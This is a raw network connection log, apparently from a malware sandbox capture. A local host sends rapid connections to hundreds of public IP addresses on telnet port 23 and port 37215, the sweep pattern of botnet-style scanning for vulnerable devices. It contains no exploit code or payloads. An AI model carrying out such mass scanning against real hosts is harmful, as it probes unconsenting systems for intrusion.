Jan 5, 2025 14:34:52.049310923 CET	29476	23	192.168.2.13	19.43.177.116
Jan 5, 2025 14:34:52.049314022 CET	29476	23	192.168.2.13	47.188.123.196
Jan 5, 2025 14:34:52.049314976 CET	29476	23	192.168.2.13	95.45.76.157
Jan 5, 2025 14:34:52.049315929 CET	29476	23	192.168.2.13	13.3.31.250
Jan 5, 2025 14:34:52.049329042 CET	29476	23	192.168.2.13	46.110.21.147
Jan 5, 2025 14:34:52.049335003 CET	29476	23	192.168.2.13	206.220.17.18
Jan 5, 2025 14:34:52.049350023 CET	29476	23	192.168.2.13	165.70.237.159
Jan 5, 2025 14:34:52.049350977 CET	29476	23	192.168.2.13	32.97.16.180
Jan 5, 2025 14:34:52.049350023 CET	29476	23	192.168.2.13	146.31.101.114
Jan 5, 2025 14:34:52.049359083 CET	29476	23	192.168.2.13	156.24.23.37
Jan 5, 2025 14:34:52.049367905 CET	29476	23	192.168.2.13	67.9.85.189
Jan 5, 2025 14:34:52.049380064 CET	29476	23	192.168.2.13	87.74.57.187
Jan 5, 2025 14:34:52.049381971 CET	29476	23	192.168.2.13	101.63.27.255
Jan 5, 2025 14:34:52.049385071 CET	29476	23	192.168.2.13	101.115.162.87
Jan 5, 2025 14:34:52.049396038 CET	29476	23	192.168.2.13	90.160.15.215
Jan 5, 2025 14:34:52.049396038 CET	29476	23	192.168.2.13	154.49.61.166
Jan 5, 2025 14:34:52.049397945 CET	29476	23	192.168.2.13	32.23.44.3
Jan 5, 2025 14:34:52.049401045 CET	29476	23	192.168.2.13	219.24.49.18
Jan 5, 2025 14:34:52.049405098 CET	29476	23	192.168.2.13	111.201.93.181
Jan 5, 2025 14:34:52.049413919 CET	29476	23	192.168.2.13	121.10.207.234
Jan 5, 2025 14:34:52.049422026 CET	29476	23	192.168.2.13	210.221.180.118
Jan 5, 2025 14:34:52.049432039 CET	29476	23	192.168.2.13	113.222.234.52
Jan 5, 2025 14:34:52.049432039 CET	29476	23	192.168.2.13	102.54.130.2
Jan 5, 2025 14:34:52.049441099 CET	29476	23	192.168.2.13	178.183.97.212
Jan 5, 2025 14:34:52.049448967 CET	29476	23	192.168.2.13	119.234.51.84
Jan 5, 2025 14:34:52.049453020 CET	29476	23	192.168.2.13	196.245.72.37
Jan 5, 2025 14:34:52.049453020 CET	29476	23	192.168.2.13	37.210.3.48
Jan 5, 2025 14:34:52.049458981 CET	29476	23	192.168.2.13	135.100.53.231
Jan 5, 2025 14:34:52.049460888 CET	29476	23	192.168.2.13	223.148.199.122
Jan 5, 2025 14:34:52.049470901 CET	29476	23	192.168.2.13	101.112.64.24
Jan 5, 2025 14:34:52.049472094 CET	29476	23	192.168.2.13	202.152.114.164
Jan 5, 2025 14:34:52.049475908 CET	29476	23	192.168.2.13	50.187.168.92
Jan 5, 2025 14:34:52.049480915 CET	29476	23	192.168.2.13	196.136.135.47
Jan 5, 2025 14:34:52.049494982 CET	29476	23	192.168.2.13	202.246.182.45
Jan 5, 2025 14:34:52.049499989 CET	29476	23	192.168.2.13	156.98.78.173
Jan 5, 2025 14:34:52.049516916 CET	29476	23	192.168.2.13	204.163.47.242
Jan 5, 2025 14:34:52.052234888 CET	23	29476	40.219.40.238	192.168.2.13
Jan 5, 2025 14:34:52.052247047 CET	23	29476	182.37.27.125	192.168.2.13
Jan 5, 2025 14:34:52.052257061 CET	23	29476	103.159.252.197	192.168.2.13
Jan 5, 2025 14:34:52.052262068 CET	23	29476	202.9.154.101	192.168.2.13
Jan 5, 2025 14:34:52.052270889 CET	23	29476	154.223.204.195	192.168.2.13
Jan 5, 2025 14:34:52.052280903 CET	23	29476	9.70.155.106	192.168.2.13
Jan 5, 2025 14:34:52.052290916 CET	23	29476	162.124.41.30	192.168.2.13
Jan 5, 2025 14:34:52.052299976 CET	23	29476	12.14.95.242	192.168.2.13
Jan 5, 2025 14:34:52.052301884 CET	29476	23	192.168.2.13	40.219.40.238
Jan 5, 2025 14:34:52.052301884 CET	29476	23	192.168.2.13	154.223.204.195
Jan 5, 2025 14:34:52.052304029 CET	29476	23	192.168.2.13	182.37.27.125
Jan 5, 2025 14:34:52.052309036 CET	23	29476	90.140.139.125	192.168.2.13
Jan 5, 2025 14:34:52.052313089 CET	29476	23	192.168.2.13	9.70.155.106
Jan 5, 2025 14:34:52.052316904 CET	29476	23	192.168.2.13	162.124.41.30
Jan 5, 2025 14:34:52.052319050 CET	29476	23	192.168.2.13	202.9.154.101
Jan 5, 2025 14:34:52.052325010 CET	29476	23	192.168.2.13	12.14.95.242
Jan 5, 2025 14:34:52.052330971 CET	29476	23	192.168.2.13	103.159.252.197
Jan 5, 2025 14:34:52.052341938 CET	29476	23	192.168.2.13	90.140.139.125
Jan 5, 2025 14:34:52.715852022 CET	29479	37215	192.168.2.13	197.158.241.228
Jan 5, 2025 14:34:52.715852022 CET	29479	37215	192.168.2.13	197.178.96.47
Jan 5, 2025 14:34:52.715859890 CET	29479	37215	192.168.2.13	197.230.53.234
Jan 5, 2025 14:34:52.715859890 CET	29479	37215	192.168.2.13	197.88.197.102
Jan 5, 2025 14:34:52.715859890 CET	29479	37215	192.168.2.13	156.110.194.105
Jan 5, 2025 14:34:52.715861082 CET	29479	37215	192.168.2.13	197.93.94.190
Jan 5, 2025 14:34:52.715859890 CET	29479	37215	192.168.2.13	156.54.49.103
Jan 5, 2025 14:34:52.715861082 CET	29479	37215	192.168.2.13	41.220.164.18
Jan 5, 2025 14:34:52.715859890 CET	29479	37215	192.168.2.13	197.168.242.202
Jan 5, 2025 14:34:52.715859890 CET	29479	37215	192.168.2.13	156.178.139.230
Jan 5, 2025 14:34:52.715862036 CET	29479	37215	192.168.2.13	197.156.249.26
Jan 5, 2025 14:34:52.715861082 CET	29479	37215	192.168.2.13	41.22.91.89
Jan 5, 2025 14:34:52.715861082 CET	29479	37215	192.168.2.13	41.183.18.41
Jan 5, 2025 14:34:52.715859890 CET	29479	37215	192.168.2.13	41.54.92.111
Jan 5, 2025 14:34:52.715861082 CET	29479	37215	192.168.2.13	41.188.50.9
Jan 5, 2025 14:34:52.715859890 CET	29479	37215	192.168.2.13	41.218.181.3
Jan 5, 2025 14:34:52.715861082 CET	29479	37215	192.168.2.13	197.188.71.140
Jan 5, 2025 14:34:52.715859890 CET	29479	37215	192.168.2.13	156.181.35.243
Jan 5, 2025 14:34:52.715862036 CET	29479	37215	192.168.2.13	197.122.48.124
Jan 5, 2025 14:34:52.715859890 CET	29479	37215	192.168.2.13	156.47.208.4
Jan 5, 2025 14:34:52.715861082 CET	29479	37215	192.168.2.13	197.240.53.248
Jan 5, 2025 14:34:52.715859890 CET	29479	37215	192.168.2.13	156.206.187.145
Jan 5, 2025 14:34:52.715861082 CET	29479	37215	192.168.2.13	197.31.129.48
Jan 5, 2025 14:34:52.715859890 CET	29479	37215	192.168.2.13	197.96.123.163
Jan 5, 2025 14:34:52.715919971 CET	29479	37215	192.168.2.13	156.253.69.83
Jan 5, 2025 14:34:52.715919971 CET	29479	37215	192.168.2.13	197.131.14.100
Jan 5, 2025 14:34:52.715920925 CET	29479	37215	192.168.2.13	41.173.147.116
Jan 5, 2025 14:34:52.715920925 CET	29479	37215	192.168.2.13	41.49.174.33
Jan 5, 2025 14:34:52.715920925 CET	29479	37215	192.168.2.13	156.180.54.159
Jan 5, 2025 14:34:52.715920925 CET	29479	37215	192.168.2.13	156.149.133.76
Jan 5, 2025 14:34:52.715924978 CET	29479	37215	192.168.2.13	197.147.55.122
Jan 5, 2025 14:34:52.715924978 CET	29479	37215	192.168.2.13	41.11.143.126
Jan 5, 2025 14:34:52.715924978 CET	29479	37215	192.168.2.13	41.15.129.114
Jan 5, 2025 14:34:52.715924978 CET	29479	37215	192.168.2.13	197.125.174.70
Jan 5, 2025 14:34:52.715924978 CET	29479	37215	192.168.2.13	156.9.110.229
Jan 5, 2025 14:34:52.715924978 CET	29479	37215	192.168.2.13	41.212.225.24
Jan 5, 2025 14:34:52.715924978 CET	29479	37215	192.168.2.13	156.207.162.203
Jan 5, 2025 14:34:52.715924978 CET	29479	37215	192.168.2.13	197.85.83.47
Jan 5, 2025 14:34:52.715935946 CET	29479	37215	192.168.2.13	156.0.90.91
Jan 5, 2025 14:34:52.715935946 CET	29479	37215	192.168.2.13	41.180.66.236
Jan 5, 2025 14:34:52.715935946 CET	29479	37215	192.168.2.13	197.140.223.114
Jan 5, 2025 14:34:52.715935946 CET	29479	37215	192.168.2.13	41.16.134.195
Jan 5, 2025 14:34:52.715936899 CET	29479	37215	192.168.2.13	41.165.23.27
Jan 5, 2025 14:34:52.715936899 CET	29479	37215	192.168.2.13	156.252.138.194
Jan 5, 2025 14:34:52.715936899 CET	29479	37215	192.168.2.13	197.179.52.225
Jan 5, 2025 14:34:52.715936899 CET	29479	37215	192.168.2.13	41.135.145.194
Jan 5, 2025 14:34:52.715936899 CET	29479	37215	192.168.2.13	41.84.246.17
Jan 5, 2025 14:34:52.715936899 CET	29479	37215	192.168.2.13	197.157.192.97
Jan 5, 2025 14:34:52.715936899 CET	29479	37215	192.168.2.13	41.13.74.164
Jan 5, 2025 14:34:52.715936899 CET	29479	37215	192.168.2.13	156.185.10.19
Jan 5, 2025 14:34:52.715935946 CET	29479	37215	192.168.2.13	41.142.216.219
Jan 5, 2025 14:34:52.715935946 CET	29479	37215	192.168.2.13	156.142.127.62
Jan 5, 2025 14:34:52.715935946 CET	29479	37215	192.168.2.13	156.66.114.7
Jan 5, 2025 14:34:52.715956926 CET	29479	37215	192.168.2.13	41.127.216.192
Jan 5, 2025 14:34:52.715956926 CET	29479	37215	192.168.2.13	156.40.93.169
Jan 5, 2025 14:34:52.715956926 CET	29479	37215	192.168.2.13	41.83.158.106
Jan 5, 2025 14:34:52.715956926 CET	29479	37215	192.168.2.13	41.227.2.162
Jan 5, 2025 14:34:52.715956926 CET	29479	37215	192.168.2.13	41.106.123.199
Jan 5, 2025 14:34:52.715956926 CET	29479	37215	192.168.2.13	156.90.200.36
Jan 5, 2025 14:34:52.715956926 CET	29479	37215	192.168.2.13	197.103.211.46
Jan 5, 2025 14:34:52.715956926 CET	29479	37215	192.168.2.13	197.171.91.194
Jan 5, 2025 14:34:52.715961933 CET	29479	37215	192.168.2.13	41.78.162.170
Jan 5, 2025 14:34:52.715961933 CET	29479	37215	192.168.2.13	156.151.98.222
Jan 5, 2025 14:34:52.715961933 CET	29479	37215	192.168.2.13	156.209.245.143
Jan 5, 2025 14:34:52.715961933 CET	29479	37215	192.168.2.13	156.75.108.172
Jan 5, 2025 14:34:52.715961933 CET	29479	37215	192.168.2.13	156.81.15.208
Jan 5, 2025 14:34:52.715961933 CET	29479	37215	192.168.2.13	41.15.249.140
Jan 5, 2025 14:34:52.715966940 CET	29479	37215	192.168.2.13	156.226.175.19
Jan 5, 2025 14:34:52.715966940 CET	29479	37215	192.168.2.13	41.212.205.252
Jan 5, 2025 14:34:52.715966940 CET	29479	37215	192.168.2.13	41.2.53.28
Jan 5, 2025 14:34:52.715966940 CET	29479	37215	192.168.2.13	156.250.149.248
Jan 5, 2025 14:34:52.715966940 CET	29479	37215	192.168.2.13	41.119.27.210
Jan 5, 2025 14:34:52.715966940 CET	29479	37215	192.168.2.13	197.50.169.168
Jan 5, 2025 14:34:52.715966940 CET	29479	37215	192.168.2.13	197.243.178.78
Jan 5, 2025 14:34:52.715966940 CET	29479	37215	192.168.2.13	156.161.160.101
Jan 5, 2025 14:34:52.715972900 CET	29479	37215	192.168.2.13	197.25.168.0
Jan 5, 2025 14:34:52.715972900 CET	29479	37215	192.168.2.13	197.219.254.37
Jan 5, 2025 14:34:52.715972900 CET	29479	37215	192.168.2.13	41.108.204.18
Jan 5, 2025 14:34:52.715972900 CET	29479	37215	192.168.2.13	41.125.208.184
Jan 5, 2025 14:34:52.715984106 CET	29479	37215	192.168.2.13	41.164.143.239
Jan 5, 2025 14:34:52.715990067 CET	29479	37215	192.168.2.13	197.66.254.47
Jan 5, 2025 14:34:52.715990067 CET	29479	37215	192.168.2.13	197.40.25.58
Jan 5, 2025 14:34:52.715990067 CET	29479	37215	192.168.2.13	197.30.45.158
Jan 5, 2025 14:34:52.715990067 CET	29479	37215	192.168.2.13	156.64.82.46
Jan 5, 2025 14:34:52.715990067 CET	29479	37215	192.168.2.13	156.84.192.2
Jan 5, 2025 14:34:52.715990067 CET	29479	37215	192.168.2.13	197.152.66.42
Jan 5, 2025 14:34:52.715990067 CET	29479	37215	192.168.2.13	156.55.17.37
Jan 5, 2025 14:34:52.716012001 CET	29479	37215	192.168.2.13	197.13.123.251
Jan 5, 2025 14:34:52.716015100 CET	29479	37215	192.168.2.13	41.195.55.121
Jan 5, 2025 14:34:52.716015100 CET	29479	37215	192.168.2.13	41.111.202.60
Jan 5, 2025 14:34:52.716015100 CET	29479	37215	192.168.2.13	156.224.160.211
Jan 5, 2025 14:34:52.716015100 CET	29479	37215	192.168.2.13	41.172.134.177
Jan 5, 2025 14:34:52.716015100 CET	29479	37215	192.168.2.13	197.186.240.20
Jan 5, 2025 14:34:52.716015100 CET	29479	37215	192.168.2.13	197.101.222.183
Jan 5, 2025 14:34:52.716015100 CET	29479	37215	192.168.2.13	156.50.168.89
Jan 5, 2025 14:34:52.716015100 CET	29479	37215	192.168.2.13	41.165.254.91
Jan 5, 2025 14:34:52.716017962 CET	29479	37215	192.168.2.13	41.205.73.197
Jan 5, 2025 14:34:52.716022968 CET	29479	37215	192.168.2.13	156.25.117.241
Jan 5, 2025 14:34:52.716022968 CET	29479	37215	192.168.2.13	197.40.38.243
Jan 5, 2025 14:34:52.716022968 CET	29479	37215	192.168.2.13	41.223.166.159
Jan 5, 2025 14:34:52.716023922 CET	29479	37215	192.168.2.13	156.201.118.96
Jan 5, 2025 14:34:52.716026068 CET	29479	37215	192.168.2.13	41.123.217.6
Jan 5, 2025 14:34:52.716031075 CET	29479	37215	192.168.2.13	197.168.226.172
Jan 5, 2025 14:34:52.716031075 CET	29479	37215	192.168.2.13	156.4.86.85
Jan 5, 2025 14:34:52.716031075 CET	29479	37215	192.168.2.13	197.105.211.240
Jan 5, 2025 14:34:52.716031075 CET	29479	37215	192.168.2.13	156.142.43.146
Jan 5, 2025 14:34:52.716033936 CET	29479	37215	192.168.2.13	41.196.64.251
Jan 5, 2025 14:34:52.716033936 CET	29479	37215	192.168.2.13	197.134.186.232
Jan 5, 2025 14:34:52.716033936 CET	29479	37215	192.168.2.13	156.178.255.217
Jan 5, 2025 14:34:52.716033936 CET	29479	37215	192.168.2.13	41.44.115.138
Jan 5, 2025 14:34:52.716033936 CET	29479	37215	192.168.2.13	41.173.140.39
Jan 5, 2025 14:34:52.716033936 CET	29479	37215	192.168.2.13	156.24.244.42
Jan 5, 2025 14:34:52.716033936 CET	29479	37215	192.168.2.13	156.133.95.223
Jan 5, 2025 14:34:52.716033936 CET	29479	37215	192.168.2.13	41.14.143.199
Jan 5, 2025 14:34:52.716037989 CET	29479	37215	192.168.2.13	197.201.92.244
Jan 5, 2025 14:34:52.716037989 CET	29479	37215	192.168.2.13	197.146.14.90
Jan 5, 2025 14:34:52.716037989 CET	29479	37215	192.168.2.13	197.55.202.251
Jan 5, 2025 14:34:52.716037989 CET	29479	37215	192.168.2.13	41.255.140.226
Jan 5, 2025 14:34:52.716037989 CET	29479	37215	192.168.2.13	41.135.195.152
Jan 5, 2025 14:34:52.716037989 CET	29479	37215	192.168.2.13	156.101.187.234
Jan 5, 2025 14:34:52.716037989 CET	29479	37215	192.168.2.13	41.226.28.189
Jan 5, 2025 14:34:52.716037989 CET	29479	37215	192.168.2.13	41.150.255.208
Jan 5, 2025 14:34:52.716039896 CET	29479	37215	192.168.2.13	41.46.112.106
Jan 5, 2025 14:34:52.716039896 CET	29479	37215	192.168.2.13	156.209.103.178
Jan 5, 2025 14:34:52.716039896 CET	29479	37215	192.168.2.13	41.14.31.220
Jan 5, 2025 14:34:52.716039896 CET	29479	37215	192.168.2.13	197.112.14.237
Jan 5, 2025 14:34:52.716039896 CET	29479	37215	192.168.2.13	197.95.224.253
Jan 5, 2025 14:34:52.716039896 CET	29479	37215	192.168.2.13	197.26.237.189
Jan 5, 2025 14:34:52.716039896 CET	29479	37215	192.168.2.13	156.18.106.125
Jan 5, 2025 14:34:52.716039896 CET	29479	37215	192.168.2.13	41.113.2.35
Jan 5, 2025 14:34:52.716041088 CET	29479	37215	192.168.2.13	197.115.249.67
Jan 5, 2025 14:34:52.716047049 CET	29479	37215	192.168.2.13	41.228.232.170
Jan 5, 2025 14:34:52.716053009 CET	29479	37215	192.168.2.13	156.179.157.111
Jan 5, 2025 14:34:52.716053009 CET	29479	37215	192.168.2.13	197.87.101.127
Jan 5, 2025 14:34:52.716053009 CET	29479	37215	192.168.2.13	41.4.26.227
Jan 5, 2025 14:34:52.716053963 CET	29479	37215	192.168.2.13	41.66.10.77
Jan 5, 2025 14:34:52.716053963 CET	29479	37215	192.168.2.13	156.24.140.112
Jan 5, 2025 14:34:52.716053963 CET	29479	37215	192.168.2.13	156.205.5.9
Jan 5, 2025 14:34:52.716053963 CET	29479	37215	192.168.2.13	156.175.204.104
Jan 5, 2025 14:34:52.716053963 CET	29479	37215	192.168.2.13	197.226.53.107
Jan 5, 2025 14:34:52.716053963 CET	29479	37215	192.168.2.13	41.105.204.221
Jan 5, 2025 14:34:52.716053963 CET	29479	37215	192.168.2.13	197.134.92.224
Jan 5, 2025 14:34:52.716054916 CET	29479	37215	192.168.2.13	41.38.236.131
Jan 5, 2025 14:34:52.716054916 CET	29479	37215	192.168.2.13	197.123.28.118
Jan 5, 2025 14:34:52.716063023 CET	29479	37215	192.168.2.13	41.123.201.255
Jan 5, 2025 14:34:52.716063023 CET	29479	37215	192.168.2.13	197.135.31.252
Jan 5, 2025 14:34:52.716068983 CET	29479	37215	192.168.2.13	197.128.20.44
Jan 5, 2025 14:34:52.716068983 CET	29479	37215	192.168.2.13	156.126.11.203
Jan 5, 2025 14:34:52.716068983 CET	29479	37215	192.168.2.13	41.125.90.33
Jan 5, 2025 14:34:52.716072083 CET	29479	37215	192.168.2.13	41.37.77.192
Jan 5, 2025 14:34:52.716073990 CET	29479	37215	192.168.2.13	156.19.65.162
Jan 5, 2025 14:34:52.716089964 CET	29479	37215	192.168.2.13	156.221.92.35
Jan 5, 2025 14:34:52.716093063 CET	29479	37215	192.168.2.13	156.131.32.63
Jan 5, 2025 14:34:52.716097116 CET	29479	37215	192.168.2.13	41.40.44.240
Jan 5, 2025 14:34:52.716097116 CET	29479	37215	192.168.2.13	156.64.143.168
Jan 5, 2025 14:34:52.716104031 CET	29479	37215	192.168.2.13	197.140.209.31
Jan 5, 2025 14:34:52.716104031 CET	29479	37215	192.168.2.13	41.116.119.231
Jan 5, 2025 14:34:52.716113091 CET	29479	37215	192.168.2.13	41.192.130.4
Jan 5, 2025 14:34:52.716114044 CET	29479	37215	192.168.2.13	197.214.196.185
Jan 5, 2025 14:34:52.716129065 CET	29479	37215	192.168.2.13	41.245.16.124
Jan 5, 2025 14:34:52.716130972 CET	29479	37215	192.168.2.13	197.236.238.29
Jan 5, 2025 14:34:52.716130972 CET	29479	37215	192.168.2.13	156.52.4.58
Jan 5, 2025 14:34:52.716131926 CET	29479	37215	192.168.2.13	41.29.1.110
Jan 5, 2025 14:34:52.716131926 CET	29479	37215	192.168.2.13	156.144.56.217
Jan 5, 2025 14:34:52.716131926 CET	29479	37215	192.168.2.13	197.102.111.94
Jan 5, 2025 14:34:52.716136932 CET	29479	37215	192.168.2.13	197.238.38.25
Jan 5, 2025 14:34:52.716155052 CET	29479	37215	192.168.2.13	197.9.53.191
Jan 5, 2025 14:34:52.716156006 CET	29479	37215	192.168.2.13	41.217.152.255
Jan 5, 2025 14:34:52.716171026 CET	29479	37215	192.168.2.13	156.33.233.149
Jan 5, 2025 14:34:52.716171026 CET	29479	37215	192.168.2.13	41.18.20.105
Jan 5, 2025 14:34:52.716171026 CET	29479	37215	192.168.2.13	41.114.42.54
Jan 5, 2025 14:34:52.716172934 CET	29479	37215	192.168.2.13	156.134.154.104
Jan 5, 2025 14:34:52.716191053 CET	29479	37215	192.168.2.13	156.225.18.171
Jan 5, 2025 14:34:52.716192007 CET	29479	37215	192.168.2.13	197.246.42.248
Jan 5, 2025 14:34:52.716192007 CET	29479	37215	192.168.2.13	41.138.58.39
Jan 5, 2025 14:34:52.716195107 CET	29479	37215	192.168.2.13	156.144.190.85
Jan 5, 2025 14:34:52.716200113 CET	29479	37215	192.168.2.13	156.182.4.192
Jan 5, 2025 14:34:52.716200113 CET	29479	37215	192.168.2.13	156.158.36.134
Jan 5, 2025 14:34:52.716200113 CET	29479	37215	192.168.2.13	41.73.151.9
Jan 5, 2025 14:34:52.716211081 CET	29479	37215	192.168.2.13	41.103.184.55
Jan 5, 2025 14:34:52.716212988 CET	29479	37215	192.168.2.13	41.210.80.221
Jan 5, 2025 14:34:52.716218948 CET	29479	37215	192.168.2.13	156.95.73.14
Jan 5, 2025 14:34:52.716221094 CET	29479	37215	192.168.2.13	156.167.22.210
Jan 5, 2025 14:34:52.716223001 CET	29479	37215	192.168.2.13	156.50.226.8
Jan 5, 2025 14:34:52.716238022 CET	29479	37215	192.168.2.13	156.239.152.82
Jan 5, 2025 14:34:52.716238022 CET	29479	37215	192.168.2.13	41.38.120.170
Jan 5, 2025 14:34:52.716238022 CET	29479	37215	192.168.2.13	156.72.162.174
Jan 5, 2025 14:34:52.716244936 CET	29479	37215	192.168.2.13	156.107.248.196
Jan 5, 2025 14:34:52.716244936 CET	29479	37215	192.168.2.13	156.253.180.238
Jan 5, 2025 14:34:52.716254950 CET	29479	37215	192.168.2.13	41.248.110.228
Jan 5, 2025 14:34:52.716264009 CET	29479	37215	192.168.2.13	156.143.249.140
Jan 5, 2025 14:34:52.716280937 CET	29479	37215	192.168.2.13	156.71.96.192
Jan 5, 2025 14:34:52.716280937 CET	29479	37215	192.168.2.13	41.48.206.100
Jan 5, 2025 14:34:52.716283083 CET	29479	37215	192.168.2.13	156.210.151.15
Jan 5, 2025 14:34:52.716283083 CET	29479	37215	192.168.2.13	156.82.3.56
Jan 5, 2025 14:34:52.716298103 CET	29479	37215	192.168.2.13	197.88.30.50
Jan 5, 2025 14:34:52.716306925 CET	29479	37215	192.168.2.13	41.237.215.1
Jan 5, 2025 14:34:52.716306925 CET	29479	37215	192.168.2.13	41.26.210.128
Jan 5, 2025 14:34:52.716310024 CET	29479	37215	192.168.2.13	197.220.61.229
Jan 5, 2025 14:34:52.716310024 CET	29479	37215	192.168.2.13	41.152.108.197
Jan 5, 2025 14:34:52.716316938 CET	29479	37215	192.168.2.13	156.204.247.178
Jan 5, 2025 14:34:52.716319084 CET	29479	37215	192.168.2.13	41.0.228.21
Jan 5, 2025 14:34:52.716325045 CET	29479	37215	192.168.2.13	41.238.86.32
Jan 5, 2025 14:34:52.716325045 CET	29479	37215	192.168.2.13	197.141.252.10
Jan 5, 2025 14:34:52.716327906 CET	29479	37215	192.168.2.13	197.231.220.37
Jan 5, 2025 14:34:52.716342926 CET	29479	37215	192.168.2.13	156.249.66.102
Jan 5, 2025 14:34:52.716342926 CET	29479	37215	192.168.2.13	41.21.247.213
Jan 5, 2025 14:34:52.716342926 CET	29479	37215	192.168.2.13	156.43.149.153
Jan 5, 2025 14:34:52.716346025 CET	29479	37215	192.168.2.13	156.163.167.158
Jan 5, 2025 14:34:52.716346979 CET	29479	37215	192.168.2.13	197.111.125.125
Jan 5, 2025 14:34:52.716346025 CET	29479	37215	192.168.2.13	197.126.102.165
Jan 5, 2025 14:34:52.716353893 CET	29479	37215	192.168.2.13	156.240.196.89
Jan 5, 2025 14:34:52.716353893 CET	29479	37215	192.168.2.13	197.8.206.215
Jan 5, 2025 14:34:52.716356039 CET	29479	37215	192.168.2.13	41.235.15.184
Jan 5, 2025 14:34:52.716358900 CET	29479	37215	192.168.2.13	156.108.23.151
Jan 5, 2025 14:34:52.716362953 CET	29479	37215	192.168.2.13	197.75.48.241
Jan 5, 2025 14:34:52.716365099 CET	29479	37215	192.168.2.13	156.128.188.239
Jan 5, 2025 14:34:52.716375113 CET	29479	37215	192.168.2.13	156.249.147.108
Jan 5, 2025 14:34:52.716378927 CET	29479	37215	192.168.2.13	197.210.41.153
Jan 5, 2025 14:34:52.716381073 CET	29479	37215	192.168.2.13	41.6.97.227
Jan 5, 2025 14:34:52.716381073 CET	29479	37215	192.168.2.13	197.237.125.167
Jan 5, 2025 14:34:52.716381073 CET	29479	37215	192.168.2.13	197.159.244.38
Jan 5, 2025 14:34:52.716391087 CET	29479	37215	192.168.2.13	41.56.95.164
Jan 5, 2025 14:34:52.716397047 CET	29479	37215	192.168.2.13	197.164.241.173
Jan 5, 2025 14:34:52.716403961 CET	29479	37215	192.168.2.13	197.211.226.125
Jan 5, 2025 14:34:52.716409922 CET	29479	37215	192.168.2.13	156.144.43.226
Jan 5, 2025 14:34:52.716415882 CET	29479	37215	192.168.2.13	41.139.169.126
Jan 5, 2025 14:34:52.716418982 CET	29479	37215	192.168.2.13	41.170.94.187
Jan 5, 2025 14:34:52.716418982 CET	29479	37215	192.168.2.13	156.32.183.226
Jan 5, 2025 14:34:52.716418982 CET	29479	37215	192.168.2.13	156.94.39.159
Jan 5, 2025 14:34:52.716424942 CET	29479	37215	192.168.2.13	41.193.50.0
Jan 5, 2025 14:34:52.716424942 CET	29479	37215	192.168.2.13	156.99.4.243
Jan 5, 2025 14:34:52.716425896 CET	29479	37215	192.168.2.13	197.33.117.209
Jan 5, 2025 14:34:52.716434002 CET	29479	37215	192.168.2.13	41.96.121.243
Jan 5, 2025 14:34:52.716434956 CET	29479	37215	192.168.2.13	41.19.159.53
Jan 5, 2025 14:34:52.716445923 CET	29479	37215	192.168.2.13	41.105.34.66
Jan 5, 2025 14:34:52.716461897 CET	29479	37215	192.168.2.13	197.242.58.65
Jan 5, 2025 14:34:52.716464996 CET	29479	37215	192.168.2.13	197.61.195.207
Jan 5, 2025 14:34:52.716481924 CET	29479	37215	192.168.2.13	197.138.123.223
Jan 5, 2025 14:34:52.716485977 CET	29479	37215	192.168.2.13	197.8.31.105
Jan 5, 2025 14:34:52.716485977 CET	29479	37215	192.168.2.13	156.121.107.72
Jan 5, 2025 14:34:52.716489077 CET	29479	37215	192.168.2.13	197.134.28.142
Jan 5, 2025 14:34:52.716496944 CET	29479	37215	192.168.2.13	156.115.142.34
Jan 5, 2025 14:34:52.716496944 CET	29479	37215	192.168.2.13	197.48.94.52
Jan 5, 2025 14:34:52.716496944 CET	29479	37215	192.168.2.13	197.189.51.132
Jan 5, 2025 14:34:52.716497898 CET	29479	37215	192.168.2.13	156.36.27.127
Jan 5, 2025 14:34:52.716497898 CET	29479	37215	192.168.2.13	41.17.90.136
Jan 5, 2025 14:34:52.716497898 CET	29479	37215	192.168.2.13	156.234.161.239
Jan 5, 2025 14:34:52.716500044 CET	29479	37215	192.168.2.13	41.188.67.210
Jan 5, 2025 14:34:52.716500044 CET	29479	37215	192.168.2.13	156.4.131.208
Jan 5, 2025 14:34:52.716500044 CET	29479	37215	192.168.2.13	41.78.94.23
Jan 5, 2025 14:34:52.716500044 CET	29479	37215	192.168.2.13	197.120.224.201
Jan 5, 2025 14:34:52.716502905 CET	29479	37215	192.168.2.13	41.245.49.132
Jan 5, 2025 14:34:52.716506958 CET	29479	37215	192.168.2.13	156.61.217.208
Jan 5, 2025 14:34:52.716516972 CET	29479	37215	192.168.2.13	41.95.238.99
Jan 5, 2025 14:34:52.716516972 CET	29479	37215	192.168.2.13	156.48.108.233
Jan 5, 2025 14:34:52.716516972 CET	29479	37215	192.168.2.13	197.189.105.45
Jan 5, 2025 14:34:52.716531038 CET	29479	37215	192.168.2.13	41.136.76.242
Jan 5, 2025 14:34:52.716533899 CET	29479	37215	192.168.2.13	41.147.160.29
Jan 5, 2025 14:34:52.716540098 CET	29479	37215	192.168.2.13	156.16.70.51
Jan 5, 2025 14:34:52.716542006 CET	29479	37215	192.168.2.13	41.204.219.253
Jan 5, 2025 14:34:52.716556072 CET	29479	37215	192.168.2.13	156.80.11.89
Jan 5, 2025 14:34:52.716557026 CET	29479	37215	192.168.2.13	197.169.157.224
Jan 5, 2025 14:34:52.716556072 CET	29479	37215	192.168.2.13	156.165.205.63
Jan 5, 2025 14:34:52.716569901 CET	29479	37215	192.168.2.13	197.142.251.78
Jan 5, 2025 14:34:52.716569901 CET	29479	37215	192.168.2.13	156.187.21.132
Jan 5, 2025 14:34:52.716578007 CET	29479	37215	192.168.2.13	41.3.144.250
Jan 5, 2025 14:34:52.716579914 CET	29479	37215	192.168.2.13	197.95.51.14
Jan 5, 2025 14:34:52.716602087 CET	29479	37215	192.168.2.13	197.20.20.107
Jan 5, 2025 14:34:52.716602087 CET	29479	37215	192.168.2.13	156.217.50.164
Jan 5, 2025 14:34:52.716603041 CET	29479	37215	192.168.2.13	156.3.243.180
Jan 5, 2025 14:34:52.716603041 CET	29479	37215	192.168.2.13	197.2.182.179
Jan 5, 2025 14:34:52.716603041 CET	29479	37215	192.168.2.13	41.70.32.76
Jan 5, 2025 14:34:52.716603041 CET	29479	37215	192.168.2.13	156.145.215.105
Jan 5, 2025 14:34:52.716603994 CET	29479	37215	192.168.2.13	197.84.248.89
Jan 5, 2025 14:34:52.716603041 CET	29479	37215	192.168.2.13	156.32.214.44
Jan 5, 2025 14:34:52.716603041 CET	29479	37215	192.168.2.13	41.4.251.81
Jan 5, 2025 14:34:52.716613054 CET	29479	37215	192.168.2.13	197.179.76.93
Jan 5, 2025 14:34:52.716619968 CET	29479	37215	192.168.2.13	156.155.125.6
Jan 5, 2025 14:34:52.716620922 CET	29479	37215	192.168.2.13	156.192.172.153
